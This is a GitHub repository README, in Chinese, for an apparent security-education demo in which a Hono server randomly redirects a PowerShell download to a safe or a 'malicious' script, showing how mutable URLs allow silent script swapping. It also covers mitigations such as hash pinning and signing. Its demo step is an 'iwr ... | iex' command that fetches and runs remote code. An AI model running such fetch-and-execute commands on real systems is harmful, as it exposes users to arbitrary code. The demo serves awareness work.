wuwatracker/remote-script-swap-demo
GitHub: wuwatracker/remote-script-swap-demo
一个演示远程脚本替换漏洞的安全教育项目,展示可变 URL 如何被攻击者利用来静默替换受信任的 PowerShell 脚本。
Stars: 0 | Forks: 0
# 远程脚本替换演示
此代码库演示了 Web 应用程序中的远程脚本替换漏洞,通过抛硬币的方式从两个不同的 URL 随机提供安全或恶意的 PowerShell 脚本。
此示例展示了攻击者如何在生产环境中利用可变 URL。
## 目录
- [概述](#overview)
- [演示](#demo)
- [工作原理](#how-it-works)
- [设置演示](#setting-up-the-demo)
- [运行应用](#running-the-app)
- [演示执行](#demo-execution)
- [安全隐患](#security-implications)
- [缓解措施](#mitigation)
- [许可证](#license)
## 概述
在此演示中,一个简单的基于 Hono 的服务器从一个可变 URL 提供 PowerShell 脚本。根据随机抛硬币的结果,它会将用户重定向到以下 URL 之一:
- 安全脚本 URL:执行无害日志文件读取的脚本(此脚本是安全的)。
- 恶意脚本 URL:理论上可以被替换为恶意脚本的脚本(此脚本演示了风险)。
该演示旨在提高人们对远程脚本替换漏洞的认识,即攻击者可以在用户不知情的情况下更改受信任 URL 的内容。
## 演示
运行几次此命令,以获取安全或恶意脚本。服务器将进行 50/50 的抛硬币以决定提供哪个脚本。
```
iwr https://remote-script-swap-demo.wuwatracker.workers.dev/import.ps1 | iex
```
实际上,恶意行为者不会仅仅使用 50/50 的抛硬币来决定何时提供脚本以及提供何种类型的脚本。这可以是任意的,例如仅向特定用户、在特定时间或在特定条件下提供恶意脚本。
## 工作原理
该应用程序使用 `Hono` Web 框架设置 HTTP 服务器。当用户访问 `/import.ps1` 端点时,抛硬币决定他们是重定向到安全还是恶意脚本 URL。
- 如果抛硬币结果是“正面”,用户将被重定向到安全的 PowerShell 脚本(`SAFE_SCRIPT_URL`)。
- 如果抛硬币结果是“反面”,用户将被重定向到恶意的 PowerShell 脚本(`MALICIOUS_SCRIPT_URL`)。
这两个脚本的 URL 均在环境变量中配置。
### 代码片段
```
import { Hono } from "hono";
import { CfBindings } from "./types";
const app = new Hono<{ Bindings: CfBindings }>();
function flipACoin() {
return Math.random() < 0.5 ? "Heads" : "Tails";
}
app.get("/import.ps1", (c) => {
const coinflipResult = flipACoin();
if (coinflipResult === "Heads") {
return c.redirect(c.env.SAFE_SCRIPT_URL);
} else {
return c.redirect(c.env.MALICIOUS_SCRIPT_URL);
}
});
export default app;
```
## 设置演示
### 前置条件
- Node.js (>=v24.0)
### 安装
1. 克隆此代码库:
git clone https://github.com/wuwatracker/remote-script-swap-demo.git
cd remote-script-swap-demo
2. 安装依赖项:
pnpm install
3. 使用您的安全和恶意脚本的 URL 配置环境变量。
将以下内容添加到您的 `.env` 文件中(或在您的云服务中配置它们):
SAFE_SCRIPT_URL=https://raw.githubusercontent.com/wuwatracker/remote-script-swap-demo/refs/heads/main/scripts/safe.ps1
MALICIOUS_SCRIPT_URL=https://raw.githubusercontent.com/wuwatracker/remote-script-swap-demo/refs/heads/main/scripts/malicious.ps1
## 运行应用
您可以在本地运行该应用程序,或使用 Cloudflare Workers 或任何其他支持 Hono 框架的平台进行部署。
### 本地运行
要在本地运行该应用程序:
1. 安装必要的本地服务器工具。
2. 运行应用程序:
pnpm run dev
这将在 `http://localhost:8787` 上启动应用程序。访问 `http://localhost:8787/import.ps1` 将随机重定向到安全或恶意脚本。
## 演示执行
当您访问 `/import.ps1` 端点时,应用程序将执行抛硬币函数并随机重定向到:
1. 执行读取日志文件等无害操作的安全脚本 URL(`SAFE_SCRIPT_URL`)。
2. 可能被攻击者替换从而导致恶意行为的恶意脚本 URL(`MALICIOUS_SCRIPT_URL`)。
## 安全隐患
此演示强调了可变 URL 中的安全漏洞,攻击者可能在用户不知情的情况下替换脚本。
此类攻击的影响可能包括:
- 数据窃取
- 权限提升
- 系统受损
- 未被检测到的恶意操作
当脚本从可变的、非不可变的 URL(例如,使用 GitHub 分支或其他未版本化的 URL)提供时,就会出现此漏洞。
## 缓解措施
以下是一些避免远程脚本替换漏洞的最佳实践:
1. 将脚本 URL 固定到特定版本:
在 URL 中使用提交哈希以确保脚本是不可变的。
例如:
https://raw.githubusercontent.com/user/repo//import.ps1
- `` 可能看起来像 `a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0`。
2. 校验和验证:
通过将下载文件的校验和与可信值进行比较来验证脚本的完整性。
3. 签名发布:
在执行之前使用签名发布来验证脚本的真实性。
4. 使用安全的脚本来源:
避免在可变 URL 上托管关键脚本。相反,请使用可信且安全的代码库来存放关键脚本。
## 许可证
该项目依据 MIT 许可证授权。有关更多信息,请参阅 [LICENSE](LICENSE) 文件。
标签:AI合规, DAST, ESC8, Hono, Libemu, Libemu, MITM代理, OpenCanary, PowerShell安全, URL重定向, Web安全, 中间人攻击, 代码完整性, 内容安全策略, 动态代码执行, 命令与控制, 安全演示, 恶意软件分析, 数据展示, 社会工程学, 程序员工具, 红队, 网络信息收集, 网络安全意识, 脚本劫持, 蓝队分析, 规则仓库, 远程脚本攻击